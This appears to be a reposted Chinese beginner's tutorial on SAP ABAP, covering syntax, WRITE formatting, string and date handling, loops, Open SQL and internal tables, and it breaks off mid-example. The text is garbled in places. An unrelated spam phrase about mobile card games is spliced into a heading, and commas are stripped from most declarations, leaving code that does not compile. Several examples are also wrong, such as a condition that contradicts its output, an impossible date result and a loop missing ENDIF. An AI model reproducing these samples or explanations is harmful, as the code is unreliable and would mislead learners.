ABAP快速入门

2018-06-11

7,266
0

ABAP快速入门


     

.基础篇

1.什么是ABAP ? 

2.ABAP开发环境的建立 

3.第一个程序-Hello World. 

4。ABAP语法简介 

5。Open SQL和Native SQL 

6.内表和工作区 

7.消息和错误处理 

8.使用用户授权 

9。调用外部程序和程序动态生产 

10。选择屏幕 

11。模块化开发 

.加强篇. 

12.深入ABAP工作台 

13.传输请求 

14。和其它语言的交互 

.实战篇 

1.MM模块开发实例. 

(1).MM常用表格及其关联关系图 

(2).开发实例 

1。MM相关单据打印 

2.PO增强编程 

3。 SE11建立一记录表ZPOSO 

4. 使用PO User_exit 

2.SD模块开发实例. 

3.PP模块开发实例. 

4。FI模块开发实例。 

1。编写财务报表 

2.财务凭证的确定(Validation) 

3。财务凭证的退代(Substitution) 

5。 Basis相关开发实例 

1。删除传输请求 

3.致命SAP权限控制漏洞 

4.再谈开发权限漏洞 

6. 开发项目流程简介.

附录: 119

1。ABAPer常用Tcode

ABAPer 常用Tcode

 


     

      SAP进入中国已经有些年头在近年实施SAP的公司越来越多尽管SAP本身提供了相当强大的可配置功能但是由于企业复杂的业务背景特别是对各种报表的需求依旧免不了二次开发.

      长期以来特别是受各种媒体和某些机构不正确的宣传大家对SAP心存诸多疑虑 编写本套丛书的目的就是在于解除大家的疑虑揭开SAP神秘的棉纱.

      经常有用户感叹SAP博大精深的确如此但是本人认为那应该指SAP的设计理念能融合诸多先进管理思想并可动态配置确实是难能可贵但是学习SAP并不难甚至可算是很容易设计手机芯片难吗?难但是没有手机用户反应其不会使用手机设计办公软件难吗?微软办公软件据说光从97版到2000版几千程序员花了两年时间但是没有听说用户反映学习办公软件难的. 学习SAP也是如此如果要说难难就难在国内市场上极少哪怕是介绍一个模块详细操作释疑的书籍广大的SAP用户只能是自己摸索学习即使参加了一些培训可能起到的作用依旧有限毕竟各培训教师自编的教材参差不齐水平也不一.

       SAP顾问行业一度也是高薪标志SAP顾问需要什么条件究竟需要多长时间磨练这是广大立志于SAP行业的读者经常困惑的问题.就本人的经验如读者有一定的编程数据库和企业运作经验ABAP顾问三个月就足够视具体情况而言可能更长甚至更短事实上有相当部分朋友做到了这点.

       本书分三部分基础篇以简短的篇幅介绍最基本的语法增强篇介绍了常用的ABAP技术最后的实战篇以五大模块(MM|SD|PP|FI|CO)最常见开发为实例介绍ABAPer可能要面临的开发任务.

        本人有近10年的各种ERP系统分析开发和技术管理经验在多家跨国公司担任过(迎合时下风气在此吹牛皮N下).从2004年下年开始接触SAP在不到一年时间参与或主持了多个项目的实施愿意将经验和各位读者分享同时希望此书对想从事ABAP开发的读者有相当帮助本书就达到目的.

        由于本人水平有限错误难免欢迎专家指正.

 

.基础篇

     如果读者已经有一定ABAP经验可不看此篇,在此篇中,花了很少篇幅回顾ABAP编程的基本常识,读者如有其他开发工具的知识,花很少时间就可理解这些常识.

1.什么是ABAP ?

了解一下ABAP的发展历史是必要的ABAP产生的最初的目的是用以生成简单打印报表程序我们知道SAP最初是为解决财务实时数据处理问题的ABAP(Advanced Business Application Programming->高级业务应用编程语言)现在用于编写SAP AG的几乎全部产品源代码.

严格地讲ABAP/4不仅仅是一个开发工具而且是一套完整的client/server开发环境这很好理解微软的Visiual Studio是一开发环境VBVC++等是开发工具。ABAP开发环境包含支持程序开发的一些函数和包等。

如图1-1SAP开发环境的一个三层架构的例图三层(多层)的概念也不新鲜比如在安装SAP时也可将DB instance安在一台server Central instance在另一台所谓的Application server(我想这应是相关SAP基础系统包括各种应用程序所在)而通常客户端安装的SAP Logon Front EndSAP会话管理器等是所谓的表示层它通过TCP/IPSAP演示协议或RFC和应用服务器进行数据传输用户看到的只是处理后的数据返回.

       Delphi的三层逻辑相近在应用层包含多个组件象ABAP开发平台身份验证系统管理维护等用以处理会话更新排队网关数据层处理native 和Open SQL等(这是从内部机制方面看)SAP各模块应用的业务逻辑都在应用层被处理(从用户角度)然后结果被返回。


 

1-2是SAP Logon的一个截图[1]表示应用服务器(通常企业为了节省成本和方便管理可能会将应用服务器和数据库安装在同一起)[2]System number举个实例开发和测试服务共用一台服务器开发使用system number00而测试使用system number 01通过system number逻辑地将一台physical server逻辑地分成了两台application server.


 

        学习ABAP并不难有人说SAP系统重在管理思想不在技术通常对有编程经验的读者不用任何培训参考一些相关资料就可立即上手.

         简单介绍下ABAP/4的一些特征:

1.和SAP紧密结合尤其在开发报表方面坦率地讲除了和SAP集成的好处。我定认为ABAP在报表开发上比Crystal report Tool要高效简单。

2.和VB一样 ABAP是解释形的如读者精通VB学习ABAP应该豪不费力倒是既然SAP是企业管理解决方案ABAPer必须对企业管理流程熟悉.

 

 解释性的另一好处是可以很好跟踪程序逻辑(使用/H)这对了解业务逻辑的实和追踪错误很有效.  和VB不同的是VB跟踪时允许程序运行指针随意往回或往全拉而ABAP程序去不行 但是ABAP程序允许在运行时修改变量的值这是编译程序不能做到的. 当然通常编译比解释执行的速度会更快.

 

ABAP程序执行并不直接读取源代码,而是执行内部经过“生成”的描述对于ABAP/4字典的修改激活后将触发内部描述的重新生成如程序并没激活就执行原版本或者出现错误(程序没激活可能造成ABAP Dumping ABAP).

 

   3.在对数据库处理方面除了可直接执行SQL(使用native sql缺点是错误处理很难控制相当于有开发环境将SQL 语句直接传给DB去执行)SAP在ABAP开发环境层还提供了一套Open SQL访问底层数据库.

  4.  程序员都知道Windows平台下开发都支持事件驱动Windows系统本身也支持事件驱动ABAP也提供了事件驱动这表现在Dialog编程方面但是ABAP在此方面并不强而且相对讲也比较难于掌握(在后面会讨论).

  5。基于面向对象的风靡ABAP在此方面也有相当反应SAP强大的软件包中提供了大量可重复使用的程序读者也可定义类并使用它快速建立新的对象.

 

6.类似JavaABAP开发的程序能运行于任何操作系统(Java有Java虚拟机ABAP也有ABAP processor)多种数据库(比如在ABAP字典中实现了透明表对各种底层数据库表的映射这样在ABAP层看到的透明表就和具体数据库无关)各种网络系统.

 

1-3是一个ABAP开发和运行环境的图例.


 

 1 使用C|C++建立ABAP 开发工具数亿行ABAP source code组成SAP AG多个产品.

    姑且不论国内ERP产品设计在解决企业流程上的局限性在大多数国外的ERP产品中我们都可看到结合自身ERP自带的开发工具在技术上这也是落后人家.所以建议国内ERP界能少谈点象什么”不上ERP等死,上ERP找死””百分之百的企业上ERP都失败”诸如的空洞口号(实际上我并不知道他们是凭什么得出这样的结论的),多干点实际的事情。

2 既然ABAP是解释型的,运行速度会有影响吗?我想多少会有的为了解决这个问题除了要加大相关服务器内存外(相对日新月异的硬件技术这已非主要瓶颈)

)SAP本身在提高性能也提供了相当的ABAP技术比如使用Cluster table Pooled table和Logical database 在接下来会有详细介绍.

2.ABAP开发环境的建立

      一个ABAP顾问和我讨论说大学毕业我做ABAP开发不久做了顾问薪资相当可观,最要好同学在unix平台下写Cobar组件 薪资却并不理想.

      从技术角度,我认为使用C++写组件肯定比ABAP开发难度要高用其人话说他是坐的庙好.是的SAP行业特别是早些年是个被异化的行业人们可看到某些人出于经济目的铺天盖地的对ERP不正确的宣传这同样反应在IT各行业”拿到XX牌Route认证拿到XX网络认证拿到XX数据库认证,拿到XX管理学位年薪基本的都在十几万以上”现在人们发现实际不是这回事从现在SAP也已经开始降温了,我想这趋势还会持续.

     和学习其它语言唯一不同的是ABAP是集成在SAP基础平台系统中的为了学习ABAP你必须安装一套SAP(可选择R/3miniSAP或IDES)而通常的情况是安装光盘渠道比较难找(只有一些大企业实施了SAP才可能有而且还必须注意版权问题其他开发工具随便都可找到安装程序)对想学习ABAP的程序员这是个主要门槛.      

 

掌握基本的ABAP开发环境对ABAPer是有益的似乎多数ABAPer对底层并不感兴趣 

安卓棋牌游戏3.第一个程序-Hello World.


 

如何进行ABAP开发呢?本节使用老套的做法介绍如何建立一个”Hello World”的ABAP程序 为了让读者尽快掌握ABAP开发熟悉ABAP开发环境是必须的请看1.5-1.

 

程序的原代码如下:

Report ZHELLO.

Write ‘Hello World!’.

按F8运行运行成功在屏幕上显示Hello World!的字样恭喜你,第一个程序运行成功.

 

4.ABAP语法简介

 

&Data Type

   ABAP/4 的资料型态可分成:

   Type    Length   Range       Initial Value  Description

C        1     1-65535Byte    Space       字符串数据 ’Program’

D        8       8Byte       ‘00000000’   日期资料 格式为YYYYMMDD

F        8       8Byte          0        浮点数          

I         4     -2^31至2^31-1   0         整数

N        1     1-65535Byte   ‘00…0’      数值所组成的字符串   

P        8      1-16Byte        0        Packed 数 用在小数点数

T        6       6Byte       ‘000000’     时间资料 格式为HHMMSS

X        1     1-65535Byte    X’00’       16进位数

 

&变量宣告

  变量宣告包含 name type length 和 structure四个部分 使用 DATA 指令 

 

   DATA:  S1  TYPE  I

           SUM TYPE  I。

 

&常数宣告

  常数宣告使用 CONSTANTS 指令 如宣告 PI 是一个小数点5位的值 3.14159 

 

    CONSTANTS  PI  TYPE  P  DECIMALS  5  VALUE  ‘3.14159’.

  

&系统所定义资料

   这是由系统所定义的专有名辞  

   SPACE      空白字符串

   SY-SUBRC   系统执行传回值 0 表示成功

   SY-UNAME  logon 帐号

   SY-DATUM  系统日期

   SY-UZEIT    系统时间

   SY-TCODE   目前的transaction code

 

 

&TYPE 叙述

  用来指定资料型态或宣告自定资料型态

  Example:

        TYPES:  BEGIN  OF  MYLIST

                   NAME(10)  TYPE  C

                   NUMBER   TYPE  I

                END  OF  MYLIST.

        DATA  LIST  TYPE  MYLIST.

 

&LIKE 叙述

   TYPE叙述使用格式相同 

   DATA  TRANSCODE  LIKE  SY-TCODE。

   不同的是 LIKE 用在已有值的资料项 如系统变量 TYPE叙述则是用

   在指定资料型态。

 

&DATA 叙述

  语法:

         DATA <f> [<length>] <type> [<value>] [<decimals>]

 

  <f>: 变量名称 最长30个字符 不可含有 +  .    :  (  ) 等字符

  <length><type>: 资料型态及长度  LINE(20)  TYPE C.  MYNAME LIKE SY-UNAME.

  <value>: 初值

  <decimals>: 小数字数

 

  Example:

      DATA:  COUNTER  TYPE  P  VALUE  1   

              FLAG  TYPE  C  VALUE  IS  INITIAL 

              WEIGHT  TYPE  P  DECIMALS  2  VALUE  ‘1.25’.

 

字段变量的宣告:

 

      DATA:  BEGIN  OF  ADDRESS 

              NAME(10)  TYPE  C

              NUMBER   TYPE  P

              END  OF  ADDRESS。

使用时用字段变量加上组件名称  ADDRESS-NAME

&CONSTANTS 叙述

   用来宣告常数

   语法:

        CONSTANTS <c> [<length>] <type> [<value>] [<decimals>]

 

   Example:

     CONSTANTS: CNAME(10)   VALUE ‘周庆日’  

                  BIRTH_DAY  TYPE  D  VALUE  ‘19650201’。

 

&STATICS 叙述

  宣告的变量仅在目前的程序中使用 结束后会自动释放

  语法:  

        STATICS <c> [<length>] <type> [<value>] [<decimals>]

    

&TABLES 叙述

   用来宣告 Table Work Area 的资料  对映至 ABAP/4 资料文件(Dictionary Object) 

   SQL 指令加载所需数据

   语法:

         TABLES  <dbtab>

 

   Example:

         TABLES: SPFL.

         SELECT  *  FROM  SPFL.

           WRITE: SPFL-MANDT SPFL-CARRIDSPFL-CONNECTION.

         ENDSELECT。

   ABAP/4 Dictionary 的 SPFL 档加载MANDTCARRIDCONNECTION三个字段至

   SPFL 此Table Work Area

 

 

&Write 叙述

   ABAP/4 用来在屏幕上输出资料的指令是 Write 指令

   语法:

         Write 资料项

   数据项可以是常数或变量 :

         WRITE ‘This is sample’。

         WRITE: ‘COMPANY:’STFL-CARRID.

 

&指定屏幕位置显示

   语法:

         Write  AT [/] [<pos>] [(<len>)]  资料项

   / : 先往下一列

   pos : 屏幕X轴坐标

   (len): 显示资料的长度

 

   Example:

            WRITE ‘First Line ’.

            WRITE / 6 ‘Second Line’.

            输出结果:

                     First Line

                          Second Line

            DATA: NUMBER TYPE  I  VALUE ‘1234567890’.

                   TEXT(10) VALUE  ‘ABCDEFGHIJ’.

            WRITE: (5)  NUMBER /(6) TEXT。

            输出结果:

                      *7890

                      ABCDEF

 

&指定显示格式

   语法:

         WRITE  资料项  <显示格式参数>

   显示格式参数:

   LEFT-JUSTIFIED            资料靠左显示

   CENTERED                 资料靠中间显示

   RIGHT-JUSTIFIED           资料靠右显示

   UNDER <g>                 在资料项<g>的X轴开始坐标显示

   NO-GAP                    紧接着显示 不留空格

   USING EDIT MASK <m>      使用内嵌字符显示  11:20:30

   USING NO EDIT MASK       不使用内嵌字符

   NO-ZERO                   数字前面0 的部分不显示

   NO-SIGN                    不显示正负号

   DECIMALS <d>              显示 d 位小数字数

   EXPONENT <e>              F(浮点数) exponent 的值

   ROUND <r>                 四舍五入至小数字数下 r 位

   CURRENCY <c>             币别显示

   DD/MM/YY                 日期显示格式

   MM/DD/YY

   DD/MM/YYYY

   MM/DD/YYYY

   DDMMYY

   MMDDYY

   YYMMDD

   

   Example:

           DATA:  X  TYPE  I  VALUE ‘112030’

                   A(5)   VALUE ’ABCDE’. 

           WRITE  X  USING  EDIT  MASK  ‘__:__:__’.

           输出结果为 11:20:30

           WRITE  X  USING  EDIT  MASK ‘$______’

           输出结果为 $112030

 

&产生空白列

   产生 n 个空白列

   语法:

         SKIP  [<n>]

   Example:

          WRITE ‘PASS1’.

          SKIP.

          WRITE ‘PASS2’。

          输出结果为:

                     PASS1

 

                     PASS2

 

&显示图标

   可以显示R/3 系统所提供的符号或图标

   语法:

          WRITE  <symbol-name>  AS  SYMBOL

          WRITE  <icon-name>  AS  ICON

   Example:

           INCLUDE  <SYMBOL>

           INCLUDE  <ICON>

           WRITE: / ‘Phone Symbol:’   SYM_PHONE  AS  SYMBOL.

           WRITE: / ‘Alarm Icon:’   ICON_ALARM  AS  ICON.

           执行结果:

            

  要查看系统所提供有那些符号及图标 可选择 “Edit” 下的 “Insert Statement” 选择  

  “WRITE”

   接下来选择要查的群组 SYMBOL 或 ICON  按下 “Display” 即可.

 

&跳至指定列坐标

   将坐标跳至指定的Y轴列坐标

   语法:

         SKIP  TO  LINE  [<n>]

 

   Example:

            SKIP  TO  LINE  5。

            WRITE  ‘PASS1’。 

 

 

 

 

&显示 CHECK BOX 资料

   以字符串资料内容的第一个字符为 CHECK BOX的输出 如果是空白 CHECK BOX 显示

   为空白  相反则显示 X   可用在逻辑判断检查

   语法:

        WRITE  <资料项>  AS  CHECKBOX。

 

   Example:

           DATA:  FLAG1  VALUE  ‘  ‘ .

                   FLAG2  VALUE  ‘X’。

           WRITE: / ‘CHECK FLAG 1:’  FLAG1  AS  CHECKBOX。

           WRITE: / ‘CHECK FLAG 2:’  FLAG2  AS  CHECKBOX.

           执行结果:

                   

  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2.4 Processing Data

 

&Assign Value

   语法:

   MOVE  <F1>  TO  <F2>

   F1的值存至变量 F2 中 也可写成 F2 = F1

   Example:

         M_NAME = ‘CHER’.

 

&使用 Offset    

   语法:

        MOVE  <F1>[+<O1>]  TO  <F2>[+<O2>]

   Example:

        DATA: F1(10)  VALUE  ‘ABCDEFGHIJ’.

               F2(5).

        F2  =  F1+3(5)。  “自第4个位置开始取出5个字符

        F2 的内容会变成 DEFGH   

 

&Field String 组件的复制

   语法:

       MOVE –CORRESPONDING  <Strings1>  TO  <String2>.

       Strings1中的field组件的资料复制至String2中 仅复制相同名称的组件

   Example:

       DATA: BEGIN  OF  ADDRESS

              FIRSTNAME(10)  VALUE  ‘LULU’

              LASTNAME(10)  VALUE  ‘CHOU’

              TEL(12)  VALUE  ‘4660570’

              END  OF  ADDRESS.

       DATA:BEGIN  OF  NAME

             FIRSTNAME(10)

             LASTNAME(10)

             E_MAIL(30)

             END  OF  NAME.

        MOVE-CORRESPONDING  ADDRESS  TO  NAME。

        NAME-FIRSTNAME 变成 ‘LULU’ NAME-LASTNAME 变成 ‘CHOU’ 

         NAME-E_MAIL 则不变

 

&变量 CALL BY VALUE 的使用

   在变量的使用上 可以使用类似Call By Value 的方法

   语法:

        WRITE  (<f>)  TO  <g>

   Example:

        DATA: NAME(20)  VALUE  ‘SOURCE’

               SOURCE(10)  VALUE  ‘LILY’

               TARGET(10)。

 

        WRITE  (NAME)  TO  TARGET.

        WRITE  /  TARGET.

        屏幕可印出 LILY

 

&清除变量内容

   语法:

        CLEAR  <f>

        清除变量现在内容 恢复成初值

   Example:

        DATA  N  TYPE  I  VALUE  100。

        CLEAR  N。

        变量 N 的内容变成 0

 

&算术符号

   **     乘幂

   *      乘

   /       除

   +      加

   -       减

   DIV    整数除法

   MOD   余数除法

 

 

 

 

   &数值函数

1. ABS(N): 传回数值 N 的绝对值

2. SIGN(N): 1   if  N > 0

if  N = 0

              -1  if  N < 0

3。 CEIL(N): 传回大于数值N的最小整数

             Example:

                      WRITE  CEIL(-5。65)  印出 –5。00

                      WRITE  CELL(4.54)  印出 5.00

4. FLOOR(N): 传回小于数值N的最大整数

             Example:  

                      WRITE  FLOOR(-5.65)   印出 –6.00

                      WRITE  FLOOR(4.54)  印出 4.00

5. TRUNC(N): 传回数值N的整数部分

             Example:  

                      WRITE  TRUNC(5.65)  印出 5.00

6. FRAC(N):  传回数值 N 的小数部分

             Example:

                      WRITE  FRAC(5。65)  印出 0。65

7. COS(A)SIN(A)TAN(A): 传回三角函数 cos A sin A tan A 的值 A 为弪度量

8。EXP(N): 传回 e^N 值

8. LOG(N): 传回 log eN 值

9。 LOG10(N): 传回 log N值

10.SQRT(N): 传回 N 的平方根值

     

&日期与时间运算

   1。日期资料的运算

  日期资料可以直接运算 如加法与减法的运算

  Example:

       DATA: Mdata  TYPE  D.

       Mdate  =  SY-DATUM.  “ 如传回 19971015

       Mdate+6(2)  =  ‘01’   “ Mdate 变成 19971001

       Mdate  =  Mdate  -  1  “ Mdate 变成 19970931

 

 

 

   2。时间资料的运算

时间格式为 ‘hhmmss’  ‘212030’  表 ’21:20:30’

Example:

         DATA: HOURS  TYPE  I

                MINUTES  TYPE  I 

                T2  TYPE  T  VALUE ‘200000’

                T1  TYPE  T  VALUE  ‘183000’.

         HOURS = (T2 - T1) /  3600。  “计算有几小时

         MINUTES = (T2 – T1) / 60.  “计算几分钟

 

&字符串数据处理

1.字符串移位

  语法:

        SHIFT  <c>  [BY <n> PLACES]  [<modes>]

        <modes> : (1).空白 字符串往左移一位

                 (2).LEFT 字符串往左移 n 位

                 (3)。RIGHT 字符串往右移 n 位

                 (4).CIRCULAR: 字符串以环状方式移位

        Example:

                 DATA  STRING(10)  VALUE  ‘ABCDEFGHIJ’.

                 SHIFT  STRING。  “得到 BCDEFGHI’

                 SHIFT  STRING  BY  2  PLACES  RIGHT。  “得到 ABCDEFGH

2.取代字符串内容

  语法:

        REPLACE  <string1>  WITH  <string2>  INTO  <c>

        将字符串 <c> 中的 <string1> 以 <string2> 来取代

        Example:

                 DATA:  STRING(10)  VALUE  ‘ABCDEFGHI’

                         STR1(3)  VALUE  ‘DEF’

                         STR2(3)  VALUE  ‘123’.

                 REPLACE  STR1  WITH  STR2  INTO  STRING.

                 WRITE / STRING.   “得到 ABC123GHI

3.大小写的转换

  语法:

        TRANSLATE  <c>  TO  UPPER  CASE.  “转成大写

        TRANSLATE  <c>  TO  LOWER  CASE.  “转成小写

4.在字符串中寻找部分字符串

  语法:

       SEARCH  <c>  FOR  <str>

       Example:

                DATA  STRING(10)  VALUE  ‘ABCDEFGHIJ’。

                会回存至两个变量 SY-SUBRC 和 SY-FDPOS 若找到则 SY-SUBRC 为 0

                SY-FDPOS 存开始位叠 若找不到则 SY-SUBRC为 4 SY-FDPOS为 0

5.字符串长度

  STRLEN(<c>)

  Example:

            INT = STRLEN(‘XYZABC’).  “得到 6

            INT = STRLEN(‘ABC    ’ )。  “得到 3

6。取部分字符串

  <f>[+<o>][<l>]

  Example:

           DATA  T(10)  VALUE  ‘ABCDEFGHIJ’.

           WRITE  /  T+2(4).  “得到 CDEF

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  

2.5 Flow Controlling

 

&比较符号

   1.  = 或 EQ         : 等于

   2.  <> 或 >< 或 NE  : 不等于

   3.  < 或 LT         :  小于

4. <= 或 LE        : 小于等于

5. > 或 GT         : 大于

6. >= 或 GE        : 大于等于

7. AND            : 且

8. OR              : 或

9。 NOT            : 非

 

&条件述叙

   1. IF 述叙

  语法:

        IF  <Condition1>.

          <Statement 1 >

        ELSEIF  <Condition2>。

          <Statement 2>

        ELSEIF  <Condition3>.

          <Stetement 3>

        …..

        ELSE.

          <else Statement >

        ENDIF。

        (1).在每个判断叙述之后要加上 .

        (2).在巢状迥圈之中无法使用 ELSE 叙述 ELSE 叙述属 IF 叙述

        Example:

                 IF  3 > 8.

                   WRITE / ‘3 is less than 8’。

                ENDIF.

                  

 

2。 CASE 叙述

  语法:

       CASE  <变量f>.

         WHEN <Value1>.

            <Statement1>

         WHEN <Value2>。

            <Statement2>

         …。

         WHEN OTHERS.

            <others Statement>

       ENDCASE.

       Example:

                 S = ‘A’。

                 CASE  S。

                    WHEN  ‘X’.

                       WRITE / ‘String is X’。

                    WHEN OTHERS。

                       WRITE / ‘String is not X’.

                 ENDCASE。

 

&迥圈叙述

1。计次迥圈

  语法:

       DO  [n TIMES]  [VARYING  <f>  FROM  <start>  TO  <end>.

          <loop block>

       ENDDO。

       Example:

                DO  2  TIMES。

                    WRITE /  ‘X’.

                ENDDO.

                执行结果:

                           X

                           X
                DO  VARYING  I  FROM 1  TO  10.

                   S = S + I。

                ENDDO.

                WRITE: / ’1+2+3+…+10=’S

                执行结果:  1+2+3+…+10=55

  2.条件迥圈

语法:

     WHILE  <Condition>。

        <Statement Block>

     ENDWHILE

     Example:

              I = 1.

              S=0.

             WHILE  I <= 10。

                S = S+I。

                I=I+1。

             ENDWHILE.

             WRITE: / ‘ 1+2+3+…+10=’S.

             执行结果为: 1+2+3+…+10=55

 

&迥圈控制叙述

CONTINUE

跳至迥圈的下一次

Example:

        DO  3  TIMES.

           IF  SY-INDEX = 2.

             CONTINUE.

           WRITE / SY-INDEX.

        ENDDO.

        执行结果:

                  1

                  3

CHECK <Condition>

CHECK 之后条件成立才继续往下执行迥圈

  Example:

           DO  5  TIMES。

              CHECK  SY-INDEX  BETWEEN  2  AND  4。

              WRITE  /  SY-INDEX.

           ENDDO.

           执行结果:

                     2

                     3

                     4

EXIT

跳离迥圈叙述

Example:

         DO  10  TIMES.

            IF  SY-INDEX = 4.

              EXIT.

            ENDIF

            WRITE / SY-INDEX.

         ENDDO.

         执行结果:

                   1

                   2

                   3

 

&无穷迥圈

   DO 。

     <Statement Block>

   ENDDO.

   无穷迥圈必须配合 EXIT 叙述来执行

 

5.Open SQL和Native SQL

OPEN SQL 语句包含有: SELECTINSERTUPDATEMODIFYDELETEOPEN CURSOR FETCHCLOSE CURSORCOMMIT WORKROLLBACK WORK等。

  1.  SELECT语句

语法格式:

SELECT <result> [INTO <target>] [FROM <source>] [WHERE <condition>]

               [GROUP BY <fields>] [ORDER BY <sort order>]

 其中: <result>指定要抓取的字段

      <target>将读取的记录存放在work area中

      <source>指定从那个TABLE中读取数据

      <condition>抓取资料的条件

      <fields>指定按那些字段分组

      <sort order>排序的字段及方式

相关的系统变量:

     SY-SUBRC = 0  表示读取数据成功

               <> 0 表示未找到符合条件的记录

     SY-DBCNT: 被处理过的记录的笔数.

相关的命令:

     EXIT。 退出循环。

     CHECK <logistic statement>.如果逻辑表达式成立则继续执行否则

                            始下一次循环.

◆ .利用循环方式读取所有记录

SELECT …。ENDSELECT。是循环方式读取记录的。

     例如:

TABLES MARD.

SELECT [DISTINCT] * FROM MARD WHERE MATNR = ‘3520421700’.

    <Statements>。

ENDSELECT.

(从MARD中抓取所有料号=3520421700的数据)

◆读取一笔数据

TABLES MARD.

SELECT SINGLE * FROM MARD WHERE MATNR = ‘3520421700’.

(从MARA中抓取一笔料号=3520421700的资料)

◆ 将读取的记录放在work area中并且加入Internal table 中.

格式有:

   。。。 INTO <work area>

   ... INTO CORRESPONDING FIELDS OF <work area>

   ... INTO (f1 。。。 fn) 变量组.

   ... INTO TABLE <internal table>

   ... INTO CORRESPONDING FIELDS OF TABLE <internal table>

   ... APPENDING TABLE <internal table>

   。。。 APPENDING CORRESPONDING FIELDS OF TABLE <internal table>

举例一:

TABLES MARD.

DATA:  BEGIN OF ITAB OCCURS 10

              MATNR LIKE MARD-MATNR

              WERKS LIKE MARD-WERKS

              LGORT LIKE MARD-LGORT

              LABST LIKE MARD-LABST

        END OF ITAB.

SELECT MATNR WERKS LGORT LABST  

              INTO CORRESPONDING FIELDS OF ITAB

              FROM MARD

              WHERE MATNR = ‘3520421700’.

       APPEND ITAB。

       CLEAR ITAB.

ENDSELECT。

(将读取的结果放在Internal table ITAB中)

举例二.

TABLES MARD。

SELECT MATNR  MTART  MAKTX  INTO (t_matnr t_mtart maktx)

               FROM MARD

               WHERE MATNR = ‘3520421700’.

       <Statements>.

ENDSELECT。

(从MARD中抓取料号=3520421700的料号、类型和描述放在变量t_matnr t_mtart maktx中)。

◆按指定的字段排序

TABLES SBOOK.

SELECT * FROM SBOOK   WHERE CARRID = ‘LH’ AND

                                 CONNID = ‘0400’ AND

                                 FLDATE = ‘19950228’

            ORDER BY BOOKID [ASCENDING/DESCENDING]。

   WRITE: / SBOOK-BOOKID   SBOOK-CUSTOMID

           SBOOK-CUSTTYPE  SBOOK-SMOKER

           SBOOK-LUGGWEIGHT SBOOK-WUNIT

           SBOOK-INVOICE.

ENDSELECT.

(利用参数ORDER BY所指定的字段排序)

◆ 抓取数据的条件叙述

(1) BETWEEN <g1>  AND  <g2>

例如:  WHERE YEAR BETWEEN 1995 AND 2000.

(2) LIKE <g>

例如:  WHERE NAME LIKE ‘MIKE%’.

(‘%’是通配符号)

(3) IN (<g1>…<gn>)

<g1>…<gn>里面的任意一个值即可.

例如: WHERE PLANT IN (‘CHUNGLI’ ‘TAOYUAN’’LIUTU’).

(表示PLANT 只要是’CHUNGLI’或’TAOYUAN’或’LIUTU’都可以).

2. INSERT 语句

◆ work area 加入到Internal Table中

格式: INSERT INTO <database> VALUES <work area>

例如:

DATA:  BEGIN OF WA

              CODE(6) TYPE C

              NAME(30) TYPE C

        END OF WA。

DATA:  VEN LIKE WA OCCURS 10。

WA-CODE  =  ‘530120’。

WA-NAME  =  ‘XINGDA ELECTRONICS CO.LTD’。

INSERT INTO VEN VALUES WA .

如果work area的名称就是internal table的名称可以直接写成:

      INSERT <internal table>

例如:

DATA:  BEGIN OF WA OCCURS 10

              CODE(6) TYPE C

              NAME(30) TYPE C

        END OF WA。

WA-CODE = ‘530120’.

WA-NAME  =  ‘XINGDA ELECTRONICS CO. LTD’.

INSERT WA.

◆ 从另外一个Internal table中INSERT 数据

格式:

INSERT <itab1> FROM TABLE <itab2> [ACCEPTING DUPLICATE KEY]

<itab2>中非NULL的数据加入<itab1>中加上[ACCEPTING DUPLICATE KEY]能限制相同PRIMARY KEY不重复加入.

3。 MODIFY 语法

MODIFY <internal table> [FROM <work area>]。

4。 DELETE 语法

     DELETE <internal table> [FROM <work area>]。

    : DELETE <internal table> [WHERE <conditions>]

5. DATABASE CURSOR

   Database Cursor是一个数据库暂存区 将经SELECT指令读取的记录存放至此暂存区 再由此暂存区放至Work Area中 可减少数据库读取的次数.

1.开启 Database Cursor

  语法:

        OPEN  CURSOR  <c>  FOR  SELECT …  WHERE <condition>

        Example:

                TABLES  SPFLI。

                DATA:  WA  LIKE  SPFLI

                        C1  TYPE  CURSOR。

                OPEN  CURSOR  C1 FOR SELECT  *  FROM  SPFLI

                       WHERE  AREA =’TAIWAN’.

  2.读取 Database Cursor的数据存入 Work Area

语法:

      FETCH  NEXT  CURSOR  <c>  INTO  <wa>

          Example:

                   FETCH  NEXT  CURSOR  C1  INTO  WA.

  读取下一笔Cursor位置的数据存入WA 如果已无数据可读 SY-SUBRC <>0.

关闭 Database Cursor

语法:

      CLOSE  CURSOR  <c>

      Example:

               CLOSE  CURSOR  C1.

6.  COMMIT WORK & ROLLBACK WORK

要确定数据成功写入数据库可使用COMMIT WORK指令:

   COMMIT  WORK.

相反的 如果反悔要复原 可使用 ROLLBACK  WORK 可复原在上个COMMIT WORK指令之后的数据 :

   ROLLBACK  WORK。

 

6.内表和工作区

 

&Internal Table 的宣告

   ABAP/4的 Internal Table 如同其它语言的数组结构 在操作上可以有复制删除新增插入等功  

   .

   1。使用 TYPE 叙述

  语法:

        TYPES  <t>  <type>  OCCURS  <n>

        宣告一个数组 <t> 型态为 <type> 长度为 <n>

        Example:

                 TYPES  A  TYPE  I  OCCURS  10.

                 A 是个10个元素的数值Internal  Table

        Example:

                 TYPES: BEGIN  OF  LINE

                        COL1  TYPE  I

                        COL3  TYPE  I

                        END  OF  LINE.

                 TYPES  ITAB  TYPE  LINE  OCCURS  10.

                 宣告一个Internal Table ITAB 总共有10个元素 WORK AREA 名称

                  LINE

   2.使用 DATA 叙述       

     若使用DATA叙述来宣告Internal Table 可分成要不要有HEADER LINE HEADER LINE 就

     是所谓的 WORK AREA 用在资料的存取上.

     语法:

           DATA  <f>  <type>  OCCURS  <n>  [WITH  HEADER  LINE]

           Example:

                   DATA  VECTOR  TYPE  I  OCCURS  10  WITH  HEADER  LINE.

 

3.直接宣告 不使用 WORK AREA

语法:

     DATA: BEGIN  OF  <f>  OCCURS  <n>

             <component 宣告>

            END  OF  <f>.

 

 

   Example:

           DATA: BEGIN  OF  ITAB  OCCURS  10

                  COL1  TYPE  I

                  COL2  TYPE  I

                 END  OF  ITAB.

                 如此产生的Internal Table 不会有 Work Area 也就是宣告时不会 Reference

                 其它的 Conponent 宣告

 

&Append Line

   语法:

        APPEND  [<wa>]  TO  [Initial Line To]  <itab>

        [Initial  Line  To] 为增加一预设初值的元素

        Example: 使用 Work Area

                DATA:  BEGIN  OF  LINE

                         COL1  TYPE  I

                         COL2  TYPE  I

                         END  OF  LINE.

